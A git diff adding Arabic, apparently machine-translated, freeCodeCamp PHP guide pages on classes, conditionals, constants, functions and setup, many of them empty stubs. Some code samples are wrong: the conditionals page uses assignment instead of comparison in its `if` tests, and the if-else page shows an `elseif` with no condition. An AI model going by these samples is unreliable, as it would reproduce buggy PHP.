\ No newline at end of file
diff --git a/client/src/guide/arabic/php/class/index.md b/client/src/guide/arabic/php/class/index.md
new file mode 100644
index 0000000000..c5c4b682f2
--- /dev/null
+++ b/client/src/guide/arabic/php/class/index.md
@@ -0,0 +1,28 @@
+---
+title: PHP - Class
+localeTitle: PHP - الصف
+---
+### فئة بسيطة للمبتدئين!
+
+ `class Lab { 
+  private $name = ''; 
+ 
+  public function setName($name) { 
+    $this->name = $name; 
+  } 
+ 
+  private function getName() { 
+    return $this->name; 
+  } 
+ 
+  public function say_my_name() { 
+    $name = $this->getName(); 
+    return $name; 
+  } 
+ 
+ } 
+ $breaking_bad = 'Heisenberg'; 
+ $lab = new Lab(); 
+ $lab->setName($breaking_bad); 
+ echo "My Name is " . $lab->say_my_name(). "!"; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/classes-and-objects/index.md b/client/src/guide/arabic/php/classes-and-objects/index.md
new file mode 100644
index 0000000000..c3833d75fd
--- /dev/null
+++ b/client/src/guide/arabic/php/classes-and-objects/index.md
@@ -0,0 +1,49 @@
+---
+title: Classes and Objects
+localeTitle: الطبقات والكائنات
+---
+# الطبقات والكائنات
+
+الطبقات هي الطريقة التي نمثل بها أنواع الكائنات في العالم. قد تكون الأشياء هي _الحالات_ الفعلية لتلك الطبقة في العالم. يعرّف فئة _خصائص_ _وسلوك_ كائن من تلك الفئة. يحدد الفصل كيف يمكن أن يتفاعل الكائن مع بقية العالم. تسمح لنا الفصول أيضًا بتجريد التفاصيل التي لا نريد إظهارها للآخرين!
+
+قل على سبيل المثال لديك كلب يدعى سبوت. Spot هو مثال واحد لكائن Dog (class).
+
+كود PHP لتعريف فئة:
+
+ `// Dog class 
+ class dog { 
+    // Keep name and age private - we don't want to be able to change these! 
+    private $name; 
+ 
+    private $age; 
+ 
+    // Constructor allows us to make an object of this class with given parameters. 
+    function __construct($name, $age){ 
+        $this->name = $name; 
+        $this->age = $age; 
+        echo 'Dog named: '.$this->name.' is '.$this->age.' years old.'; 
+    } 
+ 
+    // Destructor gets called when the item is deleted. 
+    function __destruct(){ 
+        echo 'Dog '.$this->name.' has ran off into the sunset'; 
+    } 
+ 
+    function getname() { 
+        echo $this->name; 
+    } 
+ 
+    function getage() { 
+        echo $this->age; 
+    } 
+ 
+ } 
+ 
+ $mydog = new dog("Spot", "8"); 
+ echo $mydog->getname(); 
+ echo $mydog->getage(); 
+` 
+
+سترد الشفرة أعلاه: كلب يدعى: سبوت 8 سنوات. بقعة 8 وقد دارت بقعة الكلب الى غروب الشمس
+
+أنا خلقت كائن $ mydog من الكلب الطبقي. تم استدعاء منشئه ، استخدمت بعض الأساليب داخل الطبقة ، ثم تم استدعاء destructor.
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/composer/index.md b/client/src/guide/arabic/php/composer/index.md
new file mode 100644
index 0000000000..3ada90e5cc
--- /dev/null
+++ b/client/src/guide/arabic/php/composer/index.md
@@ -0,0 +1,26 @@
+---
+title: Composer
+localeTitle: ملحن
+---
+## ملحن
+
+الملحن هو مدير حزم حزم PHP. يمكنك استخدام ملف `composer.json` لتهيئة الحزم لمشروع PHP ، على غرار الملف `package.json` في مشاريع NodeJS.
+
+### تثبيت الملحن
+
+لتثبيت الملحن ، يجب عليك أولاً تنزيله من [getcomposer.org](https://getcomposer.org/download/) .
+
+يمكنك بعد ذلك تثبيت الملحن محليًا أو عالميًا.
+
+### تثبيت الحزم
+
+تثبيت الحزم مع `composer install` . سيقوم الملحن بتثبيت الحزم المدرجة في ملف `composer.json` إلى البائع / المجلد.
+
+ `    composer install 
+` 
+
+### معلومات اكثر:
+
+*   موقع الملحن: [getcomposer.org](https://getcomposer.org/)
+*   الملحن GitHub ريبو: [الملحن / getcomposer](https://github.com/composer/getcomposer.org)
+*   مستودع حزمة PHP الشهير الذي يستخدمه الملحن للبحث عن الحزم: [Packagist](https://packagist.org/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/conditionals/index.md b/client/src/guide/arabic/php/conditionals/index.md
new file mode 100644
index 0000000000..984363416b
--- /dev/null
+++ b/client/src/guide/arabic/php/conditionals/index.md
@@ -0,0 +1,45 @@
+---
+title: Conditionals
+localeTitle: الشرطية
+---
+## الشرطية
+
+مكتوبة الشرطية في PHP باستخدام `if` ، `elseif` ، بناء الجملة `else` . يتيح لك استخدام الشروط الشرطية تنفيذ إجراءات مختلفة بناءً على المدخلات والقيم المختلفة المقدمة لصفحة في وقت التشغيل. في PHP الشرطي وغالبا ما يشار إليها باسم هياكل التحكم.
+
+### إذا
+
+ `<?php 
+ if ($_GET['name'] = "freecodecamp"){ 
+  echo "You viewed the freeCodeCamp Page!"; 
+ } 
+` 
+
+### ELSEIF
+
+ `<?php 
+ if ($_GET['name'] = "freecodecamp"){ 
+  echo "You viewed the freeCodeCamp Page!"; 
+ } elseif ($_GET['name'] = "freecodecampguide"){ 
+  echo "You viewed the freeCodeCamp Guide Page!"; 
+ } 
+` 
+
+### آخر
+
+ `<?php 
+ if ($_GET['name'] = "freecodecamp"){ 
+  echo "You viewed the freeCodeCamp Page!"; 
+ } elseif ($_GET['name'] = "freecodecampguide"){ 
+  echo "You viewed the freeCodeCamp Guide Page!"; 
+ } else { 
+  echo "You viewed a page that does not exist yet!"; 
+ } 
+` 
+
+### ملحوظة
+
+في الحالات التي يكون لديك فيها الكثير من الشروط المحتملة ، قد ترغب في استخدام [بيان التبديل](/php/switch) .
+
+#### معلومات اكثر:
+
+*   [دليل هياكل التحكم php.net](https://secure.php.net/manual/en/control-structures.elseif.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/constants/index.md b/client/src/guide/arabic/php/constants/index.md
new file mode 100644
index 0000000000..68dbf1860f
--- /dev/null
+++ b/client/src/guide/arabic/php/constants/index.md
@@ -0,0 +1,28 @@
+---
+title: Constants
+localeTitle: الثوابت
+---
+## الثوابت
+
+الثوابت هي نوع من المتغيرات في PHP. تأخذ الدالة `define()` لتعيين ثابت ثلاث حجج - اسم المفتاح ، وقيمة المفتاح ، و Boolean (true أو false) الذي يحدد ما إذا كان اسم المفتاح غير حساس لحالة الأحرف (false افتراضياً). لا يمكن تغيير قيمة الثابت بمجرد تعيينه. يتم استخدامه للقيم التي نادراً ما تتغير (على سبيل المثال كلمة مرور قاعدة البيانات أو مفتاح api).
+
+### نطاق
+
+من المهم معرفة أنه على عكس المتغيرات ، فإن الثوابت دائمًا لها نطاق عالمي ويمكن الوصول إليها من أي وظيفة في البرنامج النصي.
+
+### مثال
+
+ `<?php 
+ define("freeCodeCamp", "Learn to code and help nonprofits", false); 
+ echo freeCodeCamp; 
+` 
+
+**انتاج:**
+
+ `Learn to code and help nonprofits 
+` 
+
+#### معلومات اكثر:
+
+*   [ثوابت php.net دليل](https://secure.php.net/manual/en/language.constants.php)
+*   [تعريف php.net ()](https://secure.php.net/manual/en/function.define.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/data-types/index.md b/client/src/guide/arabic/php/data-types/index.md
new file mode 100644
index 0000000000..3ceebd0114
--- /dev/null
+++ b/client/src/guide/arabic/php/data-types/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Types
+localeTitle: أنواع البيانات
+---
+## أنواع البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/alignment/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/errors/exceptions/index.md b/client/src/guide/arabic/php/errors/exceptions/index.md
new file mode 100644
index 0000000000..9396c213cb
--- /dev/null
+++ b/client/src/guide/arabic/php/errors/exceptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Error Exceptions
+localeTitle: خطأ استثناءات
+---
+## خطأ استثناءات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/errors/exceptions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/errors/index.md b/client/src/guide/arabic/php/errors/index.md
new file mode 100644
index 0000000000..f7f96ec5d3
--- /dev/null
+++ b/client/src/guide/arabic/php/errors/index.md
@@ -0,0 +1,11 @@
+---
+title: Errors
+localeTitle: أخطاء
+---
+## أخطاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/errors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/filters/index.md b/client/src/guide/arabic/php/filters/index.md
new file mode 100644
index 0000000000..fc8c68e0a9
--- /dev/null
+++ b/client/src/guide/arabic/php/filters/index.md
@@ -0,0 +1,11 @@
+---
+title: Filters
+localeTitle: مرشحات
+---
+## مرشحات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/filters/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/forms/checking-required-inputs/index.md b/client/src/guide/arabic/php/forms/checking-required-inputs/index.md
new file mode 100644
index 0000000000..975c88a0e6
--- /dev/null
+++ b/client/src/guide/arabic/php/forms/checking-required-inputs/index.md
@@ -0,0 +1,11 @@
+---
+title: Checking Required Inputs
+localeTitle: فحص المدخلات المطلوبة
+---
+## فحص المدخلات المطلوبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/checking-required-inputs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/forms/handling-form-input/index.md b/client/src/guide/arabic/php/forms/handling-form-input/index.md
new file mode 100644
index 0000000000..5bdaedee72
--- /dev/null
+++ b/client/src/guide/arabic/php/forms/handling-form-input/index.md
@@ -0,0 +1,11 @@
+---
+title: Handling Form Input
+localeTitle: التعامل مع نموذج المدخلات
+---
+## التعامل مع نموذج المدخلات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/handling-form-input/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/forms/index.md b/client/src/guide/arabic/php/forms/index.md
new file mode 100644
index 0000000000..744934bb78
--- /dev/null
+++ b/client/src/guide/arabic/php/forms/index.md
@@ -0,0 +1,11 @@
+---
+title: Forms
+localeTitle: إستمارات
+---
+## إستمارات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/forms/validating-form-input/index.md b/client/src/guide/arabic/php/forms/validating-form-input/index.md
new file mode 100644
index 0000000000..36b59e49f8
--- /dev/null
+++ b/client/src/guide/arabic/php/forms/validating-form-input/index.md
@@ -0,0 +1,11 @@
+---
+title: Validating Form Input
+localeTitle: التحقق من صحة نموذج الإدخال
+---
+## التحقق من صحة نموذج الإدخال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/validating-form-input/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/functions/cookies/index.md b/client/src/guide/arabic/php/functions/cookies/index.md
new file mode 100644
index 0000000000..ba437f6aae
--- /dev/null
+++ b/client/src/guide/arabic/php/functions/cookies/index.md
@@ -0,0 +1,11 @@
+---
+title: Cookies
+localeTitle: بسكويت
+---
+## بسكويت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/cookies/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/functions/date/index.md b/client/src/guide/arabic/php/functions/date/index.md
new file mode 100644
index 0000000000..9c017c4286
--- /dev/null
+++ b/client/src/guide/arabic/php/functions/date/index.md
@@ -0,0 +1,11 @@
+---
+title: Date
+localeTitle: تاريخ
+---
+## تاريخ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/date/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/functions/die-and-exit/index.md b/client/src/guide/arabic/php/functions/die-and-exit/index.md
new file mode 100644
index 0000000000..b3bc4e0b51
--- /dev/null
+++ b/client/src/guide/arabic/php/functions/die-and-exit/index.md
@@ -0,0 +1,20 @@
+---
+title: Die and Exit
+localeTitle: يموت والخروج
+---
+## يموت والخروج
+
+وظائف `die()` و `exit()` متطابقة. يأخذ كل منهم وسيطة واحدة (سلسلة) تحتوي على رسالة خطأ. عند تشغيلها يقومون بإخراج الرسالة ووقف تنفيذ البرنامج النصي فوراً.
+
+ `<?php 
+ die('Die() function was run'); 
+` 
+
+ `<?php 
+ exit('Exit() function was run'); 
+` 
+
+#### معلومات اكثر:
+
+*   [php.net يموت () دليل](https://secure.php.net/manual/en/function.die.php)
+*   [الخروج من php.net ()](https://secure.php.net/manual/en/function.exit.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/functions/echo-and-print/index.md b/client/src/guide/arabic/php/functions/echo-and-print/index.md
new file mode 100644
index 0000000000..67dc28dada
--- /dev/null
+++ b/client/src/guide/arabic/php/functions/echo-and-print/index.md
@@ -0,0 +1,43 @@
+---
+title: Echo and Print
+localeTitle: صدى وطباعة
+---
+## صدى وطباعة
+
+توفر وظائف الارتداد والطباعة طريقة لكتابة قيمة متغير أو وسيطة إلى الشاشة.
+
+### صدى صوت
+
+يكتب الدالة `echo()` قيمة متغير أو وسيطة إلى الشاشة.
+
+ `<?php 
+ echo "freeCodeCamp"; 
+` 
+
+ملاحظة: طريقة قصيرة لفتح علامة PHP وصدى هو <؟ =
+
+ `<?= "freeCodeCamp"; ?> 
+` 
+
+### طباعة
+
+تعمل وظيفة `print()` خارج قيمة متغير أو وسيطة على الشاشة.
+
+ `<?php 
+ print "freeCodeCamp"; 
+` 
+
+### print\_r
+
+تكتب الدالة `print_r()` قيمة أي متغير (مثل صفيف) أو وسيطة إلى الشاشة ، بخلاف وظائف الارتداد أو الطباعة التي تكون محدودة بشكل أكبر.
+
+ `<?php 
+ $freecodecamp = "freeCodeCamp"; 
+ print_r($freecodecamp); 
+` 
+
+#### معلومات اكثر:
+
+*   [php.net صدى () دليل](https://secure.php.net/manual/en/function.echo.php)
+*   [طباعة php.net ()](https://secure.php.net/manual/en/function.print.php)
+*   [php.net print\_r () دليل](https://secure.php.net/manual/en/function.print-r.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/functions/files/file-reading/index.md b/client/src/guide/arabic/php/functions/files/file-reading/index.md
new file mode 100644
index 0000000000..0a09ee6fe4
--- /dev/null
+++ b/client/src/guide/arabic/php/functions/files/file-reading/index.md
@@ -0,0 +1,11 @@
+---
+title: File Reading
+localeTitle: قراءة الملف
+---
+## قراءة الملف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/reading/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/functions/files/file-uploading/index.md b/client/src/guide/arabic/php/functions/files/file-uploading/index.md
new file mode 100644
index 0000000000..743b05a76f
--- /dev/null
+++ b/client/src/guide/arabic/php/functions/files/file-uploading/index.md
@@ -0,0 +1,11 @@
+---
+title: File Uploading
+localeTitle: تحميل الملف
+---
+## تحميل الملف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/uploading/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/functions/files/file-writing/index.md b/client/src/guide/arabic/php/functions/files/file-writing/index.md
new file mode 100644
index 0000000000..7eeedc2ee0
--- /dev/null
+++ b/client/src/guide/arabic/php/functions/files/file-writing/index.md
@@ -0,0 +1,11 @@
+---
+title: File Writing
+localeTitle: كتابة الملف
+---
+## كتابة الملف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/writing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/functions/files/index.md b/client/src/guide/arabic/php/functions/files/index.md
new file mode 100644
index 0000000000..1811cccafe
--- /dev/null
+++ b/client/src/guide/arabic/php/functions/files/index.md
@@ -0,0 +1,17 @@
+---
+title: Files
+localeTitle: ملفات
+---
+## ملفات
+
+يوفر PHP العديد من الوظائف للعمل مع الملفات. هذه الوظائف تسمح للمطور بتمكين تحميلات ملفات المستخدم ، ل php لقراءة البيانات واستخدامها من ملف ، وأخيرًا php لكتابة البيانات إلى ملف.
+
+#### معلومات اكثر:
+
+*   [php.net readfile () دليل](https://secure.php.net/manual/en/function.readfile.php)
+*   [php.net fopen () دليل](https://secure.php.net/manual/en/function.fopen.php)
+*   [php.net fread () دليل](https://secure.php.net/manual/en/function.fread.php)
+*   [php.net fclose () دليل](https://secure.php.net/manual/en/function.fclose.php)
+*   [php.net fgets () دليل](https://secure.php.net/manual/en/function.fgets.php)
+*   [php.net feof () دليل](https://secure.php.net/manual/en/function.feof.php)
+*   [php.net fgetc () دليل](https://secure.php.net/manual/en/function.fgetc.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/functions/index.md b/client/src/guide/arabic/php/functions/index.md
new file mode 100644
index 0000000000..a632d36c58
--- /dev/null
+++ b/client/src/guide/arabic/php/functions/index.md
@@ -0,0 +1,42 @@
+---
+title: Functions
+localeTitle: المهام
+---
+## وظائف PHP مقدمة
+
+الدالة هي كتلة من العبارات التي يمكن استخدامها بشكل متكرر في أحد البرامج.
+
+### وظيفة بسيطة + دعوة
+
+ `function say_hello() { 
+  return "Hello!"; 
+ } 
+ 
+ echo say_hello(); 
+` 
+
+### وظيفة بسيطة + معلمة + مكالمة
+
+ `function say_hello($friend) { 
+  return "Hello " . $friend . "!"; 
+ } 
+ 
+ echo say_hello('Tommy'); 
+` 
+
+### strtoupper - يجعل جميع الشخصيات أكبر وأكبر!
+
+ `function makeItBIG($a_lot_of_names) { 
+  foreach($a_lot_of_names as $the_simpsons) { 
+    $BIG[] = strtoupper($the_simpsons); 
+  } 
+  return $BIG; 
+ } 
+ 
+ $a_lot_of_names = ['Homer', 'Marge', 'Bart', 'Maggy', 'Lisa']; 
+ var_dump(makeItBIG($a_lot_of_names)); 
+` 
+
+#### معلومات اكثر:
+
+*   [دليل المستخدم php.net وظائف محددة](https://secure.php.net/manual/en/functions.user-defined.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/functions/time/index.md b/client/src/guide/arabic/php/functions/time/index.md
new file mode 100644
index 0000000000..54d67f76ec
--- /dev/null
+++ b/client/src/guide/arabic/php/functions/time/index.md
@@ -0,0 +1,22 @@
+---
+title: Time
+localeTitle: زمن
+---
+## زمن
+
+ترجع الدالة `time()` الطابع الزمني unix الحالي (عدد الثواني منذ تاريخ Unix - يناير 1 1970 00:00:00 GMT).
+
+### مثال
+
+ `<?php 
+ echo time(); 
+` 
+
+**انتاج:**
+
+ `1511732226 
+` 
+
+#### معلومات اكثر:
+
+*   [وقت php.net ()](https://secure.php.net/manual/en/function.time.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/hello-world/index.md b/client/src/guide/arabic/php/hello-world/index.md
new file mode 100644
index 0000000000..bf6d94bfc5
--- /dev/null
+++ b/client/src/guide/arabic/php/hello-world/index.md
@@ -0,0 +1,44 @@
+---
+title: PHP - Hello World
+localeTitle: PHP - مرحبا العالم
+---
+## PHP - مرحبا العالم
+
+يتم تنفيذ البرامج النصية PHP على الخادم.
+
+قبل المتابعة ، يجب أن يكون لديك فهم أساسي لما يلي:
+
+### HTML
+
+### CSS
+
+### جافا سكريبت
+
+يمكن أن تحتوي ملفات PHP على نص و HTML و CSS وجافا سكريبت و PHP code. يتم تنفيذ نص PHP على الخادم ، ويتم إرسال نتيجة HTML العادية إلى المتصفح.
+
+يبدأ البرنامج النصي لـ PHP `<?php` وينتهي بـ `?>` :
+
+ `<?php 
+ // PHP code goes here 
+ ?> 
+` 
+
+أو يمكنك أيضًا كتابة برنامج نصي PHP يبدأ بـ `<?php` وينتهي بدون `?>` :
+
+ `<?php 
+ // PHP code goes here 
+` 
+
+أدناه ، لدينا مثال لملف PHP بسيط ، مع برنامج نصي PHP الذي يستخدم دالة PHP مدمجة "echo" لإخراج النص "Hello World!" على صفحة الويب:
+
+ `<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ echo "My first PHP script!"; 
+ ?> 
+ 
+ </body> 
+ </html> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/if-else-statement/index.md b/client/src/guide/arabic/php/if-else-statement/index.md
new file mode 100644
index 0000000000..573545895a
--- /dev/null
+++ b/client/src/guide/arabic/php/if-else-statement/index.md
@@ -0,0 +1,47 @@
+---
+title: If-else Statement
+localeTitle: إذا كان آخر بيان
+---
+## المقدمة
+
+إذا كانت عبارة "/ Else" عبارة شرطية حيث يتم الاعتماد على صحة الحالة ، فسيتم تنفيذ إجراءات مختلفة.
+
+> **ملاحظة:** يلزم استخدام الأقواس `{}` إذا كان الشرط يحتوي على أكثر من عبارة إجراء واحدة.
+
+## إذا البيان
+
+ `  if (condition){ 
+    statement1; 
+    statement2; 
+  } 
+` 
+
+> **ملاحظة:** العبارة `else` اختيارية.
+> 
+> ## If / Else Statement
+
+ `  if (condition){ 
+    statement1; 
+    statement2; 
+  } 
+  else{ 
+    statement3; 
+    statement4; 
+  } 
+` 
+
+## إذا كان / Elseif / Else بيان
+
+ `  if (condition){ 
+    statement1; 
+    statement2; 
+  } 
+  elseif{ 
+    statement3; 
+    statement4; 
+  } 
+  else 
+    statement5; 
+` 
+
+لمزيد من المعلومات ، راجع الرابط التالي: [PHP آخر](http://php.net/manual/en/control-structures.elseif.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/index.md b/client/src/guide/arabic/php/index.md
new file mode 100644
index 0000000000..d5ca8f2811
--- /dev/null
+++ b/client/src/guide/arabic/php/index.md
@@ -0,0 +1,106 @@
+---
+title: PHP
+localeTitle: PHP
+---
+![logo](https://upload.wikimedia.org/wikipedia/commons/thumb/2/27/PHP-logo.svg/150px-PHP-logo.svg.png "شعار PHP")
+
+## ما هو PHP؟
+
+PHP هي لغة برمجة نصية من جانب الخادم تم إنشاؤها في عام 1995 بواسطة Rasmus Lerdorf.
+
+تعد لغة PHP لغة برمجة نصية عامة تستخدم على نطاق واسع لأغراض عامة ، وهي مناسبة بشكل خاص لتطوير الويب ويمكن تضمينها في HTML.
+
+## ماذا يعني اختصار PHP؟
+
+كان PHP في الأصل يمثل "الصفحة الرئيسية الشخصية" ، حيث أنشأها Rasmus Lerdorf للاستخدام على موقعه على الويب. ثم في عام 1997 وسعت أكثر المطورين لغة و اختصرت كلمة "اختصار" أيضًا إلى ما تمثله اليوم: "PHP: المعالج الأولي للنص التشعبي". بما أن أول "P" في PHP يقف أيضًا لـ "PHP" ، يُعرف باسم "اختصار تكراري".
+
+## ما هو PHP المستخدمة؟
+
+اعتبارًا من تشرين الأول 2017 ، يتم استخدام PHP على [82٪ من مواقع الويب المعروفة بلغة جانب الخادم](https://w3techs.com/technologies/overview/programming_language/all) . أنه تُستخدم عادةً على مواقع الويب لإنشاء محتوى صفحة ويب بشكل ديناميكي. حالات الاستخدام ما يلي:
+
+*   مواقع الويب وتطبيقات الويب (البرمجة النصية من جانب الخادم)
+*   البرمجة النصية سطر الأوامر
+*   تطبيقات سطح المكتب (GUI)
+
+عادة ، يتم استخدامه في النموذج الأول لإنشاء محتوى صفحة الويب بشكل ديناميكي. على سبيل المثال ، إذا كان لديك موقع ويب للمدونة ، يمكنك كتابة بعض برامج نصية PHP لاستردادها مشاركات مدونتك من قاعدة بيانات وعرضها. تتضمن الاستخدامات الأخرى لنصوص PHP ما يلي:
+
+*   معالجة وحفظ مدخلات المستخدم من بيانات النموذج
+*   الإعداد والعمل مع ملفات تعريف الارتباط موقع الويب
+*   تقييد الوصول إلى صفحات معينة من موقع الويب الخاص بك
+
+## كيف تعمل PHP؟
+
+يتم تنفيذ جميع رموز PHP على خادم ويب فقط ، وليس على جهاز الكمبيوتر المحلي الخاص بك. على سبيل المثال ، إذا قمت بإكمال نموذج على موقع ويب وإرساله ، أو انقر فوق ارتباط إلى صفحة ويب مكتوبة بلغة PHP ، لن يتم تشغيل أي شفرة PHP فعلية على جهاز الكمبيوتر الخاص بك. بدلاً من ذلك ، يتم إرسال بيانات النموذج أو طلب صفحة الويب إلى خادم ويب لتتم معالجتها بواسطة البرامج النصية لـ PHP. ثم يرسل خادم الويب HTML المعالج مرة أخرى إليك (وهو المكان الذي يأتي منه "المعالج الأولي للنص التشعبي" في الاسم) ، ويعرض متصفح الويب الخاص بك النتائج. لهذا السبب ، لا يمكنك رؤية كود PHP لموقع ويب ، فقط HTML الناتج الذي أنتجته البرامج النصية لـ PHP.
+
+هذا موضح أدناه:
+
+![PHP خادم طراز](https://github.com/xeroxism/myImages/blob/master/FCC_guides/PHP-server-model.png?raw=true)
+
+PHP هي لغة مفسرة. هذا يعني أنه عند إجراء تغييرات على شفرة المصدر الخاصة بك ، يمكنك اختبار هذه التغييرات على الفور ، دون الحاجة إلى تجميع شفرة المصدر في شكل ثنائي. تخطي خطوة التجميع يجعل عملية التطوير أسرع بكثير.
+
+يتم تضمين رمز PHP بين علامتي `<?php` و `?>` ويمكن تضمينه في HTML.
+
+## التركيب
+
+يمكن تثبيت PHP مع أو بدون خادم ويب.
+
+### جنو / لينكس
+
+على توزيعات جنو / لينكس القائمة على ديبيان ، يمكنك التثبيت من خلال:
+
+ `sudo apt install php 
+` 
+
+بعد التثبيت ، يمكنك تشغيل أي ملفات PHP ببساطة عن طريق القيام بذلك في المحطة الطرفية:
+
+ `php file.php 
+` 
+
+يمكنك أيضًا تثبيت خادم localhost لتشغيل مواقع PHP على الويب. لتثبيت Apache Web Server:
+
+ `sudo apt install apache2 libapache2-mod-php 
+` 
+
+## ماذا يمكن أن تفعل PHP؟
+
+*   يمكن لـ PHP إنشاء محتوى صفحة ديناميكي
+*   يمكن لـ PHP إنشاء الملفات وفتحها وقراءتها وكتابتها وحذفها وإغلاقها على الخادم
+*   يمكن لـ PHP جمع بيانات النموذج
+*   يمكن لـ PHP إرسال واستقبال ملفات تعريف الارتباط
+*   يمكن لـ PHP إضافة أو حذف أو تعديل البيانات في قاعدة البيانات الخاصة بك
+*   يمكن استخدام PHP للتحكم في وصول المستخدم
+*   يستطيع PHP تشفير البيانات
+
+## لماذا بي اتش بي؟
+
+*   يعمل PHP على منصات مختلفة (Windows ، Linux ، Unix ، Mac OS X ، إلخ.)
+*   PHP متوافق مع جميع الخوادم المستخدمة تقريبًا (Apache، IIS ، إلخ).
+*   تدعم PHP نطاقًا واسعًا من قواعد البيانات
+*   PHP مجاني. تنزيله من مورد PHP الرسمي: [secure.php.net](https://secure.php.net/)
+*   PHP سهل التعلم ويعمل بكفاءة على جانب الخادم
+
+## أطر عمل PHP
+
+نظرًا لأن كتابة الشفرة بأكملها لموقع ويب ليس عمليًا / ممكنًا عمليًا لمعظم المشاريع ، يميل معظم المطورين إلى استخدام أطر لتطوير الويب. ميزة استخدام إطار هو ذلك
+
+*   لا تحتاج إلى إعادة اختراع العجلة في كل مرة تقوم فيها بإنشاء مشروع ، فإن الكثير من الفروق الدقيقة يتم الاهتمام بها بالفعل
+*   عادة ما تكون جيدة التنظيم بحيث تساعد في فصل المخاوف
+*   تميل معظم الأطر إلى اتباع أفضل الممارسات في اللغة
+*   يتبع الكثير منهم نمط MVC (Model-View-Controller) بحيث يفصل طبقة العرض عن المنطق
+
+## الأطر الشعبية
+
+*   [لارافل](https://laravel.com/)
+*   [في symfony](https://symfony.com/)
+*   [زند](http://www.zend.com/)
+*   [للكيك](https://cakephp.org/)
+
